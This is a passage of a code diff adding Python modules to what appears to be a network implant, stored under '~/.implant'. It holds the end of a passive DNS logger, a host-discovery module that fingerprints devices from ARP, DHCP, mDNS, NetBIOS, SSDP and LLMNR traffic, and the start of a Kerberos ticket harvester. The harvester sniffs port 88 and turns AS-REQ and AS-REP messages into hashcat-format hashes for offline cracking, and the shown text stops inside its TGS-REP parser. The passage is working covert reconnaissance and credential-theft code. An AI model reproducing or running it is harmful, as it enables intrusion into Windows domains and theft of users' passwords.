"!HHIH", data[offset:offset + 10]
)
offset += 10
if offset + rdlength > len(data):
break
if rtype == 1 and rdlength == 4: # A record
ip = socket.inet_ntoa(data[offset:offset + 4])
response_ips.append(ip)
elif rtype == 28 and rdlength == 16: # AAAA record
try:
ip = socket.inet_ntop(socket.AF_INET6, data[offset:offset + 16])
response_ips.append(ip)
except Exception:
pass
if ttl > 0:
min_ttl = ttl if min_ttl == 0 else min(min_ttl, ttl)
offset += rdlength
# Build records for each queried domain
# For queries: source_ip is the querier
# For responses: dst_ip is the querier (source is the DNS server)
querier_ip = src_ip if not is_response else dst_ip
for i, domain in enumerate(domains):
if not domain or domain == ".":
continue
qtype = query_types[i] if i < len(query_types) else ""
resp_str = ",".join(response_ips) if response_ips else ""
record = (ts, querier_ip, domain, qtype, resp_str, min_ttl, 0)
self._total_queries += 1
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
@staticmethod
def _read_name(data: bytes, offset: int, max_jumps: int = 10) -> tuple:
"""Read a DNS name with pointer compression. Returns (name, new_offset)."""
parts = []
jumped = False
saved_offset = offset
jumps = 0
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
# Pointer
if offset + 1 >= len(data):
break
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
if not jumped:
saved_offset = offset + 2
jumped = True
offset = ptr
jumps += 1
if jumps > max_jumps:
break
continue
offset += 1
if offset + length > len(data):
break
try:
parts.append(data[offset:offset + length].decode("utf-8", errors="replace"))
except Exception:
parts.append("?")
offset += length
name = ".".join(parts) if parts else ""
return (name, saved_offset if jumped else offset)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
"""Periodically flush DNS record buffer to SQLite."""
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("DNS flush error")
def _flush_buffer(self) -> None:
"""Write buffered DNS records to SQLite."""
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO dns_queries (timestamp, source_ip, domain, query_type, response_ips, ttl, is_doh) "
"VALUES (?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d DNS records", len(batch))
+689
View File
@@ -0,0 +1,689 @@
#!/usr/bin/env python3
"""Passive host discovery via broadcast/multicast protocol observation.
Parses:
- ARP requests/replies (IP-MAC mapping)
- DHCP request/ACK (hostname, vendor class, option 55 fingerprinting)
- mDNS/Bonjour (hostnames, services)
- NetBIOS name queries (NBNS port 137)
- SSDP/UPnP announcements (port 1900)
- LLMNR queries (port 5355)
Publishes HOST_DISCOVERED events. Correlates multiple signals per host
for IP + MAC + hostname + vendor (OUI) + OS guess.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class HostDiscovery(BaseModule):
"""Build host inventory from passive network observation."""
name = "host_discovery"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 200
FLUSH_INTERVAL = 60
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
# In-memory host table: ip -> host_info dict
self._hosts = {}
self._hosts_lock = threading.Lock()
self._pending_updates = []
self._update_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_hosts = 0
# OUI lookup cache: first 3 bytes hex -> vendor
self._oui_cache = {}
# DHCP fingerprint cache: option55 -> os_guess
self._dhcp_fp_cache = {}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("HostDiscovery requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "hosts.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load OUI database
oui_path = self.config.get("oui_db", "")
if oui_path and os.path.isfile(oui_path):
self._load_oui_db(oui_path)
# Load DHCP fingerprint database
dhcp_fp_path = self.config.get("dhcp_fingerprints_db", "")
if dhcp_fp_path and os.path.isfile(dhcp_fp_path):
self._load_dhcp_fingerprints(dhcp_fp_path)
# Load BPF filter
bpf_path = self.config.get("bpf_filter_path", "")
bpf_filter = ""
if bpf_path and os.path.isfile(bpf_path):
with open(bpf_path) as f:
lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
bpf_filter = " ".join(lines)
if not bpf_filter:
bpf_filter = "arp or port 67 or port 68 or port 5353 or port 1900 or port 5355 or port 137 or port 138"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf_filter, queue_depth=10000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-hostdisc-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-hostdisc-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("HostDiscovery started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_hosts()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("HostDiscovery stopped — %d hosts discovered", self._total_hosts)
def status(self) -> dict:
with self._hosts_lock:
host_count = len(self._hosts)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_hosts": host_count,
"oui_entries": len(self._oui_cache),
"dhcp_fingerprints": len(self._dhcp_fp_cache),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS hosts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT NOT NULL,
mac TEXT,
hostname TEXT,
vendor TEXT,
os_guess TEXT,
dhcp_fingerprint TEXT,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
source TEXT
);
CREATE UNIQUE INDEX IF NOT EXISTS idx_host_ip ON hosts(ip);
CREATE INDEX IF NOT EXISTS idx_host_mac ON hosts(mac);
CREATE INDEX IF NOT EXISTS idx_host_hostname ON hosts(hostname);
""")
self._db_conn.commit()
def _load_oui_db(self, path: str) -> None:
"""Load OUI vendor database. Expected format: 'AA:BB:CC<tab>Vendor Name' per line."""
try:
conn = sqlite3.connect(path)
rows = conn.execute("SELECT oui, vendor FROM oui").fetchall()
for oui, vendor in rows:
self._oui_cache[oui.upper().replace(":", "").replace("-", "")] = vendor
conn.close()
logger.info("Loaded %d OUI entries", len(self._oui_cache))
except Exception:
# Try plain text format
try:
with open(path) as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split("\t", 1)
if len(parts) == 2:
oui = parts[0].upper().replace(":", "").replace("-", "")
self._oui_cache[oui] = parts[1]
logger.info("Loaded %d OUI entries from text", len(self._oui_cache))
except Exception:
logger.warning("Failed to load OUI database from %s", path)
def _load_dhcp_fingerprints(self, path: str) -> None:
"""Load DHCP option 55 fingerprint database."""
try:
conn = sqlite3.connect(path)
rows = conn.execute("SELECT fingerprint, os_name FROM fingerprints").fetchall()
for fp, os_name in rows:
self._dhcp_fp_cache[fp] = os_name
conn.close()
logger.info("Loaded %d DHCP fingerprints", len(self._dhcp_fp_cache))
except Exception:
try:
with open(path) as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split("\t", 1)
if len(parts) == 2:
self._dhcp_fp_cache[parts[0]] = parts[1]
logger.info("Loaded %d DHCP fingerprints from text", len(self._dhcp_fp_cache))
except Exception:
logger.warning("Failed to load DHCP fingerprints from %s", path)
# ------------------------------------------------------------------
# OUI lookup
# ------------------------------------------------------------------
def _lookup_oui(self, mac: str) -> str:
"""Look up vendor from MAC address OUI (first 3 octets)."""
oui = mac.upper().replace(":", "").replace("-", "")[:6]
return self._oui_cache.get(oui, "")
# ------------------------------------------------------------------
# Host update
# ------------------------------------------------------------------
def _update_host(self, ts: float, ip: str, mac: str = "", hostname: str = "",
vendor: str = "", os_guess: str = "",
dhcp_fingerprint: str = "", source: str = "") -> None:
"""Update or create host entry. Merges new data with existing."""
if not ip or ip == "0.0.0.0" or ip.startswith("255."):
return
is_new = False
with self._hosts_lock:
if ip not in self._hosts:
self._hosts[ip] = {
"ip": ip, "mac": "", "hostname": "", "vendor": "",
"os_guess": "", "dhcp_fingerprint": "",
"first_seen": ts, "last_seen": ts, "source": source,
}
is_new = True
host = self._hosts[ip]
host["last_seen"] = ts
if mac and not host["mac"]:
host["mac"] = mac
if not vendor:
vendor = self._lookup_oui(mac)
if hostname and not host["hostname"]:
host["hostname"] = hostname
if vendor and not host["vendor"]:
host["vendor"] = vendor
if os_guess and not host["os_guess"]:
host["os_guess"] = os_guess
if dhcp_fingerprint and not host["dhcp_fingerprint"]:
host["dhcp_fingerprint"] = dhcp_fingerprint
if source:
existing = host.get("source", "")
if source not in existing:
host["source"] = f"{existing},{source}" if existing else source
if is_new:
self._total_hosts += 1
self.bus.emit("HOST_DISCOVERED", {
"ip": ip, "mac": mac, "hostname": hostname,
"vendor": vendor, "source": source,
}, source_module=self.name)
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Route packet to appropriate protocol parser."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
src_mac = ":".join(f"{b:02x}" for b in raw[6:12])
if eth_type == 0x0806: # ARP
self._parse_arp(ts, raw, src_mac)
return
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
payload = raw[udp_offset + 8:]
if dst_port == 67 or dst_port == 68:
self._parse_dhcp(ts, payload, src_mac)
elif dst_port == 5353 or src_port == 5353:
self._parse_mdns(ts, src_ip, src_mac, payload)
elif dst_port == 137 or src_port == 137:
self._parse_nbns(ts, src_ip, src_mac, payload)
elif dst_port == 1900:
self._parse_ssdp(ts, src_ip, src_mac, payload)
elif dst_port == 5355 or src_port == 5355:
self._parse_llmnr(ts, src_ip, src_mac, payload)
# Register any UDP source
self._update_host(ts, src_ip, mac=src_mac, source="traffic")
# ------------------------------------------------------------------
# Protocol parsers
# ------------------------------------------------------------------
def _parse_arp(self, ts: float, raw: bytes, eth_src_mac: str) -> None:
"""Parse ARP request/reply for IP-MAC mapping."""
if len(raw) < 42: # 14 eth + 28 ARP
return
arp_data = raw[14:]
# ARP: htype(2) ptype(2) hlen(1) plen(1) oper(2) sha(6) spa(4) tha(6) tpa(4)
htype, ptype, hlen, plen, oper = struct.unpack("!HHBBH", arp_data[:8])
if htype != 1 or ptype != 0x0800:
return
sender_mac = ":".join(f"{b:02x}" for b in arp_data[8:14])
sender_ip = socket.inet_ntoa(arp_data[14:18])
target_ip = socket.inet_ntoa(arp_data[24:28])
if sender_ip != "0.0.0.0":
self._update_host(ts, sender_ip, mac=sender_mac, source="arp")
def _parse_dhcp(self, ts: float, payload: bytes, src_mac: str) -> None:
"""Parse DHCP request/ACK for hostname, vendor class, option 55."""
if len(payload) < 240:
return
# DHCP: op(1) htype(1) hlen(1) hops(1) xid(4) secs(2) flags(2)
# ciaddr(4) yiaddr(4) siaddr(4) giaddr(4) chaddr(16) ...
op = payload[0]
yiaddr = socket.inet_ntoa(payload[16:20])
chaddr = ":".join(f"{b:02x}" for b in payload[28:34])
# Parse DHCP options (start at offset 240, after magic cookie)
if payload[236:240] != b"\x63\x82\x53\x63":
return
hostname = ""
vendor_class = ""
option_55 = ""
assigned_ip = yiaddr if yiaddr != "0.0.0.0" else ""
msg_type = 0
offset = 240
while offset < len(payload):
opt = payload[offset]
if opt == 255: # End
break
if opt == 0: # Pad
offset += 1
continue
if offset + 1 >= len(payload):
break
opt_len = payload[offset + 1]
offset += 2
if offset + opt_len > len(payload):
break
opt_data = payload[offset:offset + opt_len]
if opt == 53 and opt_len == 1: # Message Type
msg_type = opt_data[0]
elif opt == 12: # Hostname
hostname = opt_data.decode("ascii", errors="replace").rstrip("\x00")
elif opt == 60: # Vendor Class
vendor_class = opt_data.decode("ascii", errors="replace").rstrip("\x00")
elif opt == 55: # Parameter Request List
option_55 = ",".join(str(b) for b in opt_data)
elif opt == 50 and opt_len == 4: # Requested IP
if not assigned_ip:
assigned_ip = socket.inet_ntoa(opt_data)
offset += opt_len
# DHCP fingerprint lookup
os_guess = ""
if option_55:
os_guess = self._dhcp_fp_cache.get(option_55, "")
if assigned_ip:
self._update_host(
ts, assigned_ip, mac=chaddr, hostname=hostname,
vendor=vendor_class, os_guess=os_guess,
dhcp_fingerprint=option_55, source="dhcp",
)
elif chaddr:
# No IP yet, but we can log the MAC
pass
def _parse_mdns(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse mDNS for hostname discovery."""
if len(payload) < 12:
return
# mDNS uses standard DNS format on port 5353
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
# Parse questions
for _ in range(qdcount):
name, offset = self._read_dns_name(payload, offset)
if offset + 4 > len(payload):
return
offset += 4 # qtype + qclass
# Parse answers (for responses)
if is_response:
for _ in range(ancount):
if offset >= len(payload):
break
name, offset = self._read_dns_name(payload, offset)
if offset + 10 > len(payload):
break
rtype, _, ttl, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10])
offset += 10
if offset + rdlength > len(payload):
break
# Extract hostname from .local names
if name and name.endswith(".local"):
hostname = name.rsplit(".local", 1)[0]
if hostname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=hostname, source="mdns")
offset += rdlength
else:
# For queries, the querier's presence is noted
self._update_host(ts, src_ip, mac=src_mac, source="mdns")
def _parse_nbns(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse NetBIOS Name Service queries/responses."""
if len(payload) < 12:
return
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
# Parse question names
for _ in range(qdcount):
if offset >= len(payload):
break
nbname, offset = self._read_nbns_name(payload, offset)
if offset + 4 > len(payload):
break
offset += 4 # qtype + qclass
if nbname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=nbname, source="nbns")
# Parse answer names
if is_response:
for _ in range(ancount):
if offset >= len(payload):
break
nbname, offset = self._read_nbns_name(payload, offset)
if offset + 10 > len(payload):
break
_, _, _, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10])
offset += 10
if nbname:
self._update_host(ts, src_ip, mac=src_mac,
hostname=nbname, source="nbns")
if offset + rdlength > len(payload):
break
offset += rdlength
@staticmethod
def _read_nbns_name(data: bytes, offset: int) -> tuple:
"""Decode a NetBIOS encoded name. Returns (name, new_offset)."""
if offset >= len(data):
return "", offset
length = data[offset]
offset += 1
if length != 32:
# Skip non-standard length
return "", offset + length + 1 # +1 for trailing null length byte
if offset + 32 > len(data):
return "", offset
encoded = data[offset:offset + 32]
offset += 32
# Skip trailing length byte
if offset < len(data):
offset += 1
# Decode: each pair of bytes encodes one character
name_chars = []
for i in range(0, 32, 2):
ch = ((encoded[i] - ord('A')) << 4) | (encoded[i + 1] - ord('A'))
if 32 <= ch < 127:
name_chars.append(chr(ch))
name = "".join(name_chars).rstrip()
return name, offset
def _parse_ssdp(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse SSDP/UPnP announcements for device info."""
try:
text = payload.decode("utf-8", errors="ignore")
except Exception:
return
# SSDP uses HTTP-like headers
server = ""
usn = ""
for line in text.split("\r\n"):
lower = line.lower()
if lower.startswith("server:"):
server = line.split(":", 1)[1].strip()
elif lower.startswith("usn:"):
usn = line.split(":", 1)[1].strip()
vendor = server if server else ""
hostname = ""
if usn:
# USN often contains device UUID
pass
self._update_host(ts, src_ip, mac=src_mac, vendor=vendor, source="ssdp")
def _parse_llmnr(self, ts: float, src_ip: str, src_mac: str,
payload: bytes) -> None:
"""Parse LLMNR queries for hostname discovery."""
if len(payload) < 12:
return
# LLMNR uses DNS message format
_, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12])
is_response = bool(flags & 0x8000)
offset = 12
for _ in range(qdcount):
name, offset = self._read_dns_name(payload, offset)
if offset + 4 > len(payload):
break
offset += 4
if name:
if is_response:
self._update_host(ts, src_ip, mac=src_mac,
hostname=name, source="llmnr")
else:
# Querier looking for this name
self._update_host(ts, src_ip, mac=src_mac, source="llmnr")
@staticmethod
def _read_dns_name(data: bytes, offset: int) -> tuple:
"""Read a DNS-format name. Returns (name, new_offset)."""
parts = []
jumped = False
saved_offset = offset
jumps = 0
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
if offset + 1 >= len(data):
break
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
if not jumped:
saved_offset = offset + 2
jumped = True
offset = ptr
jumps += 1
if jumps > 10:
break
continue
offset += 1
if offset + length > len(data):
break
parts.append(data[offset:offset + length].decode("utf-8", errors="replace"))
offset += length
name = ".".join(parts) if parts else ""
return (name, saved_offset if jumped else offset)
# ------------------------------------------------------------------
# Flush hosts to SQLite
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_hosts()
except Exception:
logger.exception("Host flush error")
def _flush_hosts(self) -> None:
"""Write all in-memory hosts to SQLite."""
with self._hosts_lock:
hosts_snapshot = list(self._hosts.values())
if not hosts_snapshot or not self._db_conn:
return
try:
for h in hosts_snapshot:
self._db_conn.execute(
"""INSERT INTO hosts (ip, mac, hostname, vendor, os_guess,
dhcp_fingerprint, first_seen, last_seen, source)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(ip) DO UPDATE SET
mac = COALESCE(NULLIF(excluded.mac, ''), hosts.mac),
hostname = COALESCE(NULLIF(excluded.hostname, ''), hosts.hostname),
vendor = COALESCE(NULLIF(excluded.vendor, ''), hosts.vendor),
os_guess = COALESCE(NULLIF(excluded.os_guess, ''), hosts.os_guess),
dhcp_fingerprint = COALESCE(NULLIF(excluded.dhcp_fingerprint, ''), hosts.dhcp_fingerprint),
last_seen = excluded.last_seen,
source = excluded.source
""",
(h["ip"], h["mac"], h["hostname"], h["vendor"],
h["os_guess"], h["dhcp_fingerprint"],
h["first_seen"], h["last_seen"], h["source"]),
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d hosts", len(hosts_snapshot))
+751
View File
@@ -0,0 +1,751 @@
#!/usr/bin/env python3
"""Passive Kerberos ticket harvester for offline cracking.
Parses Kerberos traffic on port 88:
- AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500)
- AS-REP: extract hash for AS-REP roasting (hashcat mode 18200)
- TGS-REP: extract hash for Kerberoasting (hashcat mode 13100)
Also identifies domain controllers, realms, and SPNs.
Publishes TICKET_HARVESTED events immediately on capture.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Kerberos message types (application tags)
KRB_AS_REQ = 10
KRB_AS_REP = 11
KRB_TGS_REQ = 12
KRB_TGS_REP = 13
KRB_ERROR = 30
# Encryption types
ETYPE_AES256_CTS = 18
ETYPE_AES128_CTS = 17
ETYPE_RC4_HMAC = 23
ETYPE_DES_CBC_MD5 = 3
# Hashcat modes
HASHCAT_AS_REQ_ETYPE23 = 7500
HASHCAT_AS_REP_ROAST = 18200
HASHCAT_KERBEROAST_RC4 = 13100
HASHCAT_KERBEROAST_AES256 = 19700
HASHCAT_KERBEROAST_AES128 = 19600
class KerberosHarvester(BaseModule):
"""Harvest Kerberos tickets from wire for offline cracking."""
name = "kerberos_harvester"
module_type = "passive"
priority = 80
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 50
FLUSH_INTERVAL = 30
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_tickets = 0
self._realms = set()
self._dcs = set()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("KerberosHarvester requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 88", queue_depth=5000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-kerb-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-kerb-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("KerberosHarvester started — monitoring port 88")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"KerberosHarvester stopped — %d tickets, %d realms, %d DCs",
self._total_tickets, len(self._realms), len(self._dcs),
)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_tickets": self._total_tickets,
"realms": list(self._realms),
"domain_controllers": list(self._dcs),
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS kerberos_tickets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dc_ip TEXT NOT NULL,
realm TEXT,
username TEXT,
spn TEXT,
ticket_type TEXT NOT NULL,
hashcat_mode INTEGER,
hash_value TEXT
);
CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username);
CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm);
CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type);
CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse Ethernet->IP->TCP/UDP->Kerberos."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
if ip_proto == 6: # TCP
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
if src_port != 88 and dst_port != 88:
return
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload = raw[tcp_offset + tcp_hdr_len:]
# TCP Kerberos has 4-byte length prefix
if len(payload) > 4:
payload = payload[4:]
elif ip_proto == 17: # UDP
udp_offset = ip_offset + ihl
if len(raw) < udp_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
if src_port != 88 and dst_port != 88:
return
payload = raw[udp_offset + 8:]
else:
return
if len(payload) < 10:
return
# Determine direction: requests go TO port 88, responses come FROM port 88
if dst_port == 88:
client_ip = src_ip
dc_ip = dst_ip
else:
client_ip = dst_ip
dc_ip = src_ip
self._dcs.add(dc_ip)
self._parse_kerberos(ts, client_ip, dc_ip, payload)
def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str,
data: bytes) -> None:
"""Parse ASN.1/DER-encoded Kerberos message."""
if len(data) < 2:
return
# Kerberos messages use ASN.1 application tags
# AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11]
# TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13]
tag = data[0]
if tag & 0xE0 != 0x60: # Application constructed
return
msg_type = tag & 0x1F
# Read outer length
_, offset = self._asn1_length(data, 1)
if offset < 0 or offset >= len(data):
return
if msg_type == KRB_AS_REQ:
self._parse_as_req(ts, client_ip, dc_ip, data, offset)
elif msg_type == KRB_AS_REP:
self._parse_as_rep(ts, client_ip, dc_ip, data, offset)
elif msg_type == KRB_TGS_REP:
self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset)
def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500)."""
realm = ""
username = ""
enc_timestamp = ""
etype = 0
# Walk the ASN.1 SEQUENCE looking for known context tags
# AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4]
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0: # Not context-specific constructed
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # padata
# Look for PA-ENC-TIMESTAMP (type 2)
enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data)
if enc_ts:
enc_timestamp = enc_ts
etype = found_etype
elif ctx_num == 4: # req-body (KDC-REQ-BODY)
r, u = self._extract_req_body_info(ctx_data)
if r:
realm = r
if u:
username = u
pos = next_pos + length
if realm:
self._realms.add(realm)
# If we got an encrypted timestamp, emit for hashcat 7500
if enc_timestamp and username:
hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500
hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, "",
"AS-REQ", hashcat_mode, hash_value,
)
def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse AS-REP for AS-REP roasting hash (mode 18200)."""
realm = ""
username = ""
enc_part = ""
etype = 0
seq_offset = self._enter_sequence(data, offset)
if seq_offset < 0:
return
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 3: # crealm
realm = self._read_string(ctx_data)
elif ctx_num == 4: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 6: # enc-part (EncryptedData)
etype, enc_part = self._extract_encrypted_data(ctx_data)
pos = next_pos + length
if realm:
self._realms.add(realm)
if enc_part and username:
if etype == ETYPE_RC4_HMAC:
hashcat_mode = HASHCAT_AS_REP_ROAST
else:
hashcat_mode = HASHCAT_AS_REP_ROAST
hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}"
self._emit_ticket(
ts, client_ip, dc_ip, realm, username, "",
"AS-REP", hashcat_mode, hash_value,
)
def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str,
data: bytes, offset: int) -> None:
"""Parse TGS-REP for Kerberoasting hash (mode 13100)."""
realm = ""
username = ""
spn = ""
enc_part = ""
etype = 0
